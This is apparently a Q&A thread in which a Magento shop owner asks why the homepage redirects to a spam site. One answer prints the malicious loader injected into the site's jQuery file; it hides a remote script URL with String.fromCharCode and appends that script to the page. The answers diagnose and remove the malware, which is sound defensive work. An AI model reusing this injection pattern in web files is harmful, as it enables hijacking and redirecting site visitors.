3

My website www.antiqworld.com whenever i am trying to open my website automatically redirect on (https://20.unverf.com/?h=230916016_ee5d07ec7ec_98__def_sub__sub_id_2&cnv=1) this url

please help to resolve this issue asap

  • it is only happen on homepage . go to admin panel and check home page content for suspicious js script. – Qaisar Satti Aug 26 '18 at 12:10
5

It seems somebody hacked your site and inserted rogue code in the top 2 lines of https://www.antiqworld.com/js/jquery/jquery-1.11.1.min.js:

var po = document.createElement("script");
po.type = "text/javascript";
po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 106, 108, 99);
var scripts = document.getElementsByTagName("script");
var need_t = true;
var i = scripts.length;
for (; i--;) {
  if (scripts[i].src == po.src) {
    need_t = false;
  } else {
  }
}
if (need_t == true) {
  document.head.appendChild(po);
};

This results in a call to cdn.allyouwant.online, which in turn redirects to several spam URLs:

FYI I have just added this spam domain to the Magento Malware Scanner

Advice: as somebody gained write access to your Magento install, you should conduct a proper investigation and/or issue a reinstall from the latest release. See for more tips: https://support.hypernode.com/knowledgebase/recover-a-hacked-magento-shop/

| improve this answer | |
1

You can test your site for Malware attack here: https://sitecheck.sucuri.net/

Also you will get link of infected file,so you can correct it by yourself.

Below files are infected by javascript code:

1) https://www.antiqworld.com/js/jquery/jquery-1.11.1.min.js 
2) https://www.antiqworld.com/js/jquery/jquery-migrate-1.2.1.min.js
3) https://www.antiqworld.com/js/jquery/jquery_noconflict.js
4) https://www.antiqworld.com/skin/frontend/default/theme692/js/jquery.easing.1.3.js

So remove the script from top of all files mentioned above.

Hope it will help you.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.